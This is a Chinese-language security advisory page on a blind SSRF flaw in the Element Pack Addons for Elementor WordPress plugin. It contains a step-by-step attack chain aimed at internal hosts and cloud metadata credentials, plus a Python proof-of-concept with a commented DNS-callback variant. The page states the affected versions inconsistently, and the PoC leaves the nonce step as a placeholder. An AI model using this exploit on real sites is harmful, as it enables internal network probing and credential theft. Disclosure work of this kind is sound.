IPBUF安全漏洞报告
English
CVE-2025-11536 CVSS 5.0 中危

CVE-2025-11536:Element Pack Addons插件存在盲SSRF漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-11536
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Element Pack Addons for Elementor(WordPress插件)

相关标签

SSRF服务端请求伪造Blind SSRFWordPressElement Pack AddonsElementor插件漏洞AJAX中危漏洞认证漏洞

漏洞概述

CVE-2025-11536是WordPress的Element Pack Addons for Elementor插件中存在的一个盲服务端请求伪造(Blind SSRF)漏洞。该漏洞影响该插件所有8.2.5及以下版本,由Wordfence安全团队的安全研究员发现并报告。漏洞存在于插件的`wp_ajax_import_elementor_template` AJAX动作中,攻击者可以通过精心构造的请求,利用服务器端发起对任意URL的HTTP请求。由于该漏洞属于盲SSRF,攻击者无法直接获取目标服务的响应内容,但仍然可以利用服务器作为代理,对内部网络服务进行探测和信息收集。该漏洞的CVSS 3.1评分为5.0分,属于中危级别。攻击者需要具备Subscriber级别及以上的认证权限才能利用此漏洞,但WordPress网站的Subscriber级别注册通常较为开放,因此该漏洞的利用门槛相对较低。该漏洞的CVSS向量表明其通过网络传播,攻击复杂度低,所需权限低,无需用户交互,影响范围为变更型,机密性影响为低,完整性和可用性无影响。值得注意的是,虽然此漏洞本身为盲SSRF,但它可以被用作更大攻击链的一部分,例如探测内网服务、访问云元数据端点或与其他漏洞组合利用,从而造成更严重的安全风险。

技术细节

该漏洞的根本原因在于Element Pack Addons插件在处理`wp_ajax_import_elementor_template` AJAX动作时,未对用户提供的URL参数进行充分的验证和过滤。具体来说,当用户通过该AJAX端点提交模板导入请求时,插件会使用用户提供的URL来获取远程模板内容,而没有限制该URL只能指向可信的目标服务器。攻击者可以通过构造恶意请求,将任意URL作为模板源传递给该功能。由于该功能在服务器端执行HTTP请求,攻击者可以利用服务器的网络位置来访问通常无法从外部访问的内部服务(如127.0.0.1、192.168.x.x、10.x.x.x等私有IP地址段),或者访问云环境中的元数据服务(如AWS的169.254.169.254)。由于是盲SSRF,攻击者无法直接看到目标服务的响应内容,但可以通过时间盲注、DNS回调或带外数据外泄等技术来判断请求是否成功。该漏洞位于插件的setup-wizard模块中,具体在`includes/setup-wizard/init.php`文件的第420行附近。攻击者需要具备Subscriber级别的WordPress账户权限(这是WordPress的最低默认用户角色),即可通过标准的AJAX请求利用此漏洞。由于许多WordPress网站允许用户注册,因此该漏洞的实际威胁面较广。

攻击链分析

STEP 1
步骤1:注册或获取Subscriber级别账户
攻击者首先需要在目标WordPress网站上注册一个Subscriber级别的账户。如果网站开放注册,可直接注册;否则需要通过其他方式(如泄露的凭证)获取低权限账户。
STEP 2
步骤2:登录并获取有效的AJAX nonce
攻击者使用Subscriber账户登录WordPress后台,并访问包含相关脚本的页面,从中提取执行AJAX请求所需的nonce值,以通过CSRF保护机制。
STEP 3
步骤3:构造SSRF恶意请求
攻击者构造针对`wp_ajax_import_elementor_template` AJAX动作的恶意POST请求,将内部网络地址(如127.0.0.1、192.168.x.x)或云元数据端点(如169.254.169.254)作为模板URL参数。
STEP 4
步骤4:触发服务器端请求
服务器接收到恶意请求后,在服务端向攻击者指定的URL发起HTTP请求,由于该请求来自服务器内部,可以访问到外部无法直接访问的内部服务和资源。
STEP 5
步骤5:信息收集与进一步利用
虽然是盲SSRF,但攻击者可以通过DNS回调、HTTP请求时间差、响应大小等带外(Out-of-Band)技术判断请求是否成功,并据此探测内网拓扑、访问云元数据获取敏感凭据,或与其他漏洞组合进行更深层次的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11536 Blind SSRF Exploit # Vulnerability: Blind Server-Side Request Forgery in Element Pack Addons for Elementor # Affected versions: <= 8.2.5 # Required privilege: Subscriber-level access or above import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" INTERNAL_TARGET = "http://127.0.0.1:8080/admin" # Internal service to probe # Step 1: Login as subscriber to obtain authentication cookies session = requests.Session() # Get login page to retrieve nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get a valid nonce for the AJAX action # Navigate to a page that loads the necessary scripts admin_page = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php") # Step 3: Exploit the Blind SSRF via wp_ajax_import_elementor_template # The malicious URL is passed to the server which will fetch it ssrf_payload = { "action": "import_elementor_template", "url": INTERNAL_TARGET, # Arbitrary URL - the SSRF target "_ajax_nonce": "obtain_nonce_from_page_source" } # Send the malicious AJAX request response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ssrf_payload ) print(f"Response status: {response.status_code}") print(f"Response body: {response.text[:500]}") print("\nNote: This is a Blind SSRF - response content is not directly visible.") print("Use out-of-band techniques (DNS callbacks, timing) to confirm exploitation.") # Alternative: Use DNS callback to verify SSRF # INTERNAL_TARGET = "http://unique-id.burpcollaborator.net" # Check DNS logs for the callback to confirm the server made the request

影响范围

Element Pack Addons for Elementor < 8.2.5

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)临时禁用Element Pack Addons for Elementor插件;2)在WAF或服务器层面阻止对`admin-ajax.php`中`action=import_elementor_template`的请求;3)关闭WordPress的用户注册功能,或将新注册用户角色修改为不具备任何权限的角色;4)在服务器防火墙层面限制Web服务器的出站访问,禁止其访问内网IP段和云元数据端点(169.254.169.254等)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表